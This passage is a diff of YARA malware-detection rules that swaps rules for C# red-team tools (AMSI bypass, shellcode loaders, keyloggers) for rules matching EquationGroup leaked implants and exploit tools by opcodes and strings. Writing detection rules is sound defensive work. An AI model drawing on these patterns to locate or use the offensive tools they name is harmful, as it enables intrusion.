+		$op1 = { 44 24 37 50 c6 44 24 38 72 c6 44 }
+		$op2 = { 44 24 33 6f c6 44 24 34 77 c6 }
+		$op3 = { 3b 65 c6 44 24 3c 73 c6 44 24 3d 73 c6 44 24 3e }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <300KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Evilwmiprovider : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Tacothief : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "3a6cf00e-28c4-5e6f-a28d-b3f28fca6eed"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/sunnyc7/EvilWMIProvider"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L556-L570"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5999197c1ccc2b3e9043c1cd4f73ef607f46b8eab0cd93889263cc460a3ba2c8"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7be7ca05-c2c7-5a7d-8b1b-e6741b4397b9"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2185-L2198"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "565d94ac0dd65de0926d11ae08ee78f14dcb211ca97c77c39f394fb36890fc6f"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "c71953cc84c27dc61df8f6f452c870a7880a204e9e21d9fd006a5c023b052b35"
 
 	strings:
-		$typelibguid0lo = "a4020626-f1ec-4012-8b17-a2c8a0204a4b" ascii wide
-		$typelibguid0up = "A4020626-F1EC-4012-8B17-A2C8A0204A4B" ascii wide
+		$x1 = "File too large!  Must be less than 655360 bytes." fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <100KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Gadgettojscript : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Ntevt : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "e296795f-d006-52a9-92c4-fb60c930564b"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/med0x2e/GadgetToJScript"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L572-L588"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "07ba9b4c303c12a74a13b28dddd4b1118cc30335bf9e76d8146224242619e87d"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "fd25f703-ff3e-5e75-b1eb-24a658a1ac8e"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2200-L2219"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "29572cce9af51adf12db019f885f868fd77ff9034a6944a6286a4d2a0988842a"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4254ee5e688fc09bdc72bcc9c51b1524a2bb25a9fb841feaf03bc7ec1a9975bf"
 
 	strings:
-		$typelibguid0lo = "af9c62a1-f8d2-4be0-b019-0a7873e81ea9" ascii wide
-		$typelibguid0up = "AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9" ascii wide
-		$typelibguid1lo = "b2b3adb0-1669-4b94-86cb-6dd682ddbea3" ascii wide
-		$typelibguid1up = "B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3" ascii wide
+		$x1 = "c:\\ntevt.pdb" fullword ascii
+		$s1 = "ARASPVU" fullword ascii
+		$op1 = { 41 5a 41 59 41 58 5f 5e 5d 5a 59 5b 58 48 83 c4 }
+		$op2 = { f9 48 03 fa 48 33 c0 8a 01 49 03 c1 49 f7 e0 88 }
+		$op3 = { 01 41 f6 e0 49 03 c1 88 01 48 33 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <700KB and $x1 or 3 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Azurecli_Extractor : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Processes_Target : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "f595545a-a7a6-577c-b3f4-febf7bf1b6c3"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/0x09AL/AzureCLI-Extractor"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L590-L604"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5ea4dd540a39ac1160da15434b19036a99da69ea999ca0b0f5193fe32a263dca"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1b910f46-5d19-5ecd-9647-10ee9ee7b012"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2221-L2236"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e9e26224b7eafc999c9638d4591a45297e3293b0e90e63c2d207ee52848c4ce2"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "69cf7643dbecc5f9b4b29edfda6c0295bc782f0e438f19be8338426f30b4cc74"
 
 	strings:
-		$typelibguid0lo = "a73cad74-f8d6-43e6-9a4c-b87832cdeace" ascii wide
-		$typelibguid0up = "A73CAD74-F8D6-43E6-9A4C-B87832CDEACE" ascii wide
+		$s1 = "Select * from Win32_Process" fullword ascii
+		$s3 = "\\\\%ls\\root\\cimv2" fullword wide
+		$s5 = "%4ls%2ls%2ls%2ls%2ls%2ls.%11l[0-9]%1l[+-]%6s" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <200KB and 2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_UAC_Escaper : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_St_Lp : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "ea95ff3c-0cbb-5230-b5e4-bd8b2ff975eb"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/NYAN-x-CAT/UAC-Escaper"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L606-L620"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b6e293a6c1589b527ac4d72ccc5609b6899a8ff69009d30e9a93b046484564c8"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2d4ee801-c7f4-5476-8368-89aa2863ba96"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2238-L2254"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "38a48a931856e0eb8e16b7902f5e494b50f8895d4221b5359fc3339d1b52eb8e"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "3b6f756cca096548dcad2b6c241c1dafd16806c060bec82a530f4d38755286a2"
 
 	strings:
-		$typelibguid0lo = "95359279-5cfa-46f6-b400-e80542a7336a" ascii wide
-		$typelibguid0up = "95359279-5CFA-46F6-B400-E80542A7336A" ascii wide
+		$x1 = "Previous command: set injection processes (status=0x%x)" fullword ascii
+		$x2 = "Secondary injection process is <null> [no secondary process will be used]" fullword ascii
+		$x3 = "Enter the address to be used as the spoofed IP source address (xxx.xxx.xxx.xxx) -> " fullword ascii
+		$x4 = "E: Execute a Command on the Implant" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <300KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Httpsbeaconshell : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Epwrapper : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "d66e3566-6082-570a-a168-f44c9d8c7619"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/limbenjamin/HTTPSBeaconShell"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L622-L636"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b0c40d1ab0bfc34a0f27e7e3f84522a93c0d635cba929a708fbd38dfce4404fb"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "81b72f7f-ba5a-5f45-b77c-071cfb4571d3"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2256-L2271"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9a1a54cd3fef3db9a20f3be25336fcbabe0d993403f001a04a02b5dbfd629543"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a8eed17665ee22198670e22458eb8c9028ff77130788f24f44986cce6cebff8d"
 
 	strings:
-		$typelibguid0lo = "aca853dc-9e74-4175-8170-e85372d5f2a9" ascii wide
-		$typelibguid0up = "ACA853DC-9E74-4175-8170-E85372D5F2A9" ascii wide
+		$x1 = "* Failed to get remote TCP socket address" fullword wide
+		$x2 = "* Failed to get 'LPStart' export" fullword wide
+		$s5 = "Usage: %ls <logdir> <dll_search_path> <dll_to_load_path> <socket>" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <20KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Amsiscanbufferbypass : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Diba_Target_2000 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "12a15e61-30fb-50a3-a59b-39f9871444f0"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/rasta-mouse/AmsiScanBufferBypass"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L638-L652"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a064209a06c13506b2d2f3754aed30199b0f4f1c0ef4bc465d847a21b0917545"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c6ae85b6-0670-558c-9ce5-64bd5822f35b"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2273-L2290"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dfcd7d928c921dbe7162712ca74a105a938fd9ac675faaaa228d05139b2077de"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "f9ea8ff5985b94f635d03f3aab9ad4fb4e8c2ad931137dba4f8ee8a809421b91"
 
 	strings:
-		$typelibguid0lo = "431ef2d9-5cca-41d3-87ba-c7f5e4582dd2" ascii wide
-		$typelibguid0up = "431EF2D9-5CCA-41D3-87BA-C7F5E4582DD2" ascii wide
+		$s1 = "0M1U1Z1p1" fullword ascii
+		$op1 = { f4 65 c6 45 f5 6c c6 45 f6 33 c6 45 f7 32 c6 45 }
+		$op2 = { 36 c6 45 e6 34 c6 45 e7 50 c6 45 e8 72 c6 45 e9 }
+		$op3 = { c6 45 e8 65 c6 45 e9 70 c6 45 ea 74 c6 45 eb 5f }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <1000KB and 3 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Shellcodeloader : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Dllload_Target : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "b8787dac-48a3-5711-86ba-0fda86b6224e"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/Hzllaga/ShellcodeLoader"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L654-L668"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c8a36476d087b82e96ea60de1a9879b261d533fb148c44a2e6544fdaa7c574e6"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9def0814-c86a-5fae-abc2-4185596a74aa"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2292-L2309"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ab50ad9e01c55b3f40e98e6e2cf77c1ad7d6d6ec81a56bbb2263a6e05912e272"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a42d5201af655e43cefef30d7511697e6faa2469dc4a74bc10aa060b522a1cf5"
 
 	strings:
-		$typelibguid0lo = "a48fe0e1-30de-46a6-985a-3f2de3c8ac96" ascii wide
-		$typelibguid0up = "A48FE0E1-30DE-46A6-985A-3F2DE3C8AC96" ascii wide
+		$s1 = "BzWKJD+" fullword ascii
+		$op1 = { 44 24 6c 6c 88 5c 24 6d }
+		$op2 = { 44 24 54 63 c6 44 24 55 74 c6 44 24 56 69 }
+		$op3 = { 44 24 5c 6c c6 44 24 5d 65 c6 44 24 5e }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <200KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Keystrokeapi : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_EXPA : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "e715bce8-531b-5e2a-bd02-b2fc4990c499"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/fabriciorissetto/KeystrokeAPI"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L670-L686"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e638c173817ce6e1b59bfd897ba3d45e24a5c1020014999e2ad21afcd4f21291"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "106efe9b-f70f-51cf-bbb2-b9bf61df1dd1"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2311-L2327"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2aa4ee5b128714cfa7f5d29f7ef110e1b18fb7bc21351444b2472ff74c4139d3"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2017176d3b5731a188eca1b71c50fb938c19d6260c9ff58c7c9534e317d315f8"
 
 	strings:
-		$typelibguid0lo = "f6fec17e-e22d-4149-a8a8-9f64c3c905d3" ascii wide
-		$typelibguid0up = "F6FEC17E-E22D-4149-A8A8-9F64C3C905D3" ascii wide
-		$typelibguid1lo = "b7aa4e23-39a4-49d5-859a-083c789bfea2" ascii wide
-		$typelibguid1up = "B7AA4E23-39A4-49D5-859A-083C789BFEA2" ascii wide
+		$x1 = "* The target is IIS 6.0 but is not running content indexing servicess," fullword ascii
+		$x2 = "--ver 6 --sp <service_pack> --lang <language> --attack shellcode_option[s]sL" fullword ascii
+		$x3 = "By default, the shellcode will attempt to immediately connect s$" fullword ascii
+		$x4 = "UNEXPECTED SHELLCODE CONFIGURATION ERRORs" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <12000KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Shellcoderunner : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Remoteexecute_Target : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "949364e7-dcb6-5afd-ade9-cc34a6e15e97"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/antman1p/ShellCodeRunner"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L688-L704"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "48dfe2ea9b3ff1ae22c5436b8cb3f3f48658032c94463e2babeb6894ce3c666f"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "608e5244-2d3f-573c-a0de-44637051f4ba"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2329-L2345"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3eedb6abb09989784a7dc5e721f9901e936f2c0241967b48858e5e5897b9f24a"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4a649ca8da7b5499821a768c650a397216cdc95d826862bf30fcc4725ce8587f"
 
 	strings:
-		$typelibguid0lo = "634874b7-bf85-400c-82f0-7f3b4659549a" ascii wide
-		$typelibguid0up = "634874B7-BF85-400C-82F0-7F3B4659549A" ascii wide
-		$typelibguid1lo = "2f9c3053-077f-45f2-b207-87c3c7b8f054" ascii wide
-		$typelibguid1up = "2F9C3053-077F-45F2-B207-87C3C7B8F054" ascii wide
+		$s1 = "Win32_Process" fullword ascii
+		$s2 = "\\\\%ls\\root\\cimv2" fullword wide
+		$op1 = { 83 7b 18 01 75 12 83 63 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <200KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Offensivecsharp : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_DS_Parselogs : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "339f6858-6076-5320-ba5f-2903e642ea42"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/diljith369/OffensiveCSharp"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L706-L742"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8b3f8652b88b353d4fc162f93b373d5beeaaca1b1ebbeaef07a46d859aef4c12"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1906c0fc-3fbc-5995-8789-f1c02e574672"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2347-L2362"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e4c35476b512378d1e3c7e7e3e9dae16adb0d4de4ecab143d034110836c11d0d"
 		score = 75
-		quality = 83
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "0228691d63038b072cdbf50782990d505507757efbfa87655bb2182cf6375956"
 
 	strings:
-		$typelibguid0lo = "6c3fbc65-b673-40f0-b1ac-20636df01a85" ascii wide
-		$typelibguid0up = "6C3FBC65-B673-40F0-B1AC-20636DF01A85" ascii wide
-		$typelibguid1lo = "2bad9d69-ada9-4f1e-b838-9567e1503e93" ascii wide
-		$typelibguid1up = "2BAD9D69-ADA9-4F1E-B838-9567E1503E93" ascii wide
-		$typelibguid2lo = "512015de-a70f-4887-8eae-e500fd2898ab" ascii wide
-		$typelibguid2up = "512015DE-A70F-4887-8EAE-E500FD2898AB" ascii wide
-		$typelibguid3lo = "1ee4188c-24ac-4478-b892-36b1029a13b3" ascii wide
-		$typelibguid3up = "1EE4188C-24AC-4478-B892-36B1029A13B3" ascii wide
-		$typelibguid4lo = "5c6b7361-f9ab-41dc-bfa0-ed5d4b0032a8" ascii wide
-		$typelibguid4up = "5C6B7361-F9AB-41DC-BFA0-ED5D4B0032A8" ascii wide
-		$typelibguid5lo = "048a6559-d4d3-4ad8-af0f-b7f72b212e90" ascii wide
-		$typelibguid5up = "048A6559-D4D3-4AD8-AF0F-B7F72B212E90" ascii wide
-		$typelibguid6lo = "3412fbe9-19d3-41d8-9ad2-6461fcb394dc" ascii wide
-		$typelibguid6up = "3412FBE9-19D3-41D8-9AD2-6461FCB394DC" ascii wide
-		$typelibguid7lo = "9ea4e0dc-9723-4d93-85bb-a4fcab0ad210" ascii wide
-		$typelibguid7up = "9EA4E0DC-9723-4D93-85BB-A4FCAB0AD210" ascii wide
-		$typelibguid8lo = "6d2b239c-ba1e-43ec-8334-d67d52b77181" ascii wide
-		$typelibguid8up = "6D2B239C-BA1E-43EC-8334-D67D52B77181" ascii wide
-		$typelibguid9lo = "42e8b9e1-0cf4-46ae-b573-9d0563e41238" ascii wide
-		$typelibguid9up = "42E8B9E1-0CF4-46AE-B573-9D0563E41238" ascii wide
-		$typelibguid10lo = "0d15e0e3-bcfd-4a85-adcd-0e751dab4dd6" ascii wide
-		$typelibguid10up = "0D15E0E3-BCFD-4A85-ADCD-0E751DAB4DD6" ascii wide
-		$typelibguid11lo = "644dfd1a-fda5-4948-83c2-8d3b5eda143a" ascii wide
-		$typelibguid11up = "644DFD1A-FDA5-4948-83C2-8D3B5EDA143A" ascii wide
+		$x1 = "* Size (%d) of remaining capture file is too small to contain a valid header" fullword wide
+		$x2 = "* Capture header not found at start of buffer" fullword wide
+		$x3 = "Usage: %ws <capture_file> <results_prefix>" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <100KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_SHAPESHIFTER : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Oracle_Implant : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "8903c65a-624f-5e8d-a3f6-4572b56bd2f7"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/matterpreter/SHAPESHIFTER"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L744-L758"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9c53ead8bc93f874b9fab11be0e281fa11f2c590a4c9e649d67eed84de79783d"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6ff4cd21-1060-5901-842e-c04bde4f16ec"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2364-L2379"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "568a5d103527e6fd99bbac8d49a2d667f464fd16d5bf276f98c88c39e129b58b"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "8e9be4960c62ed7f210ce08f291e410ce0929cd3a86fe70315d7222e3df4587e"
 
 	strings:
-		$typelibguid0lo = "a3ddfcaa-66e7-44fd-ad48-9d80d1651228" ascii wide
-		$typelibguid0up = "A3DDFCAA-66E7-44FD-AD48-9D80D1651228" ascii wide
+		$op0 = { fe ff ff ff 48 89 9c 24 80 21 00 00 48 89 ac 24 }
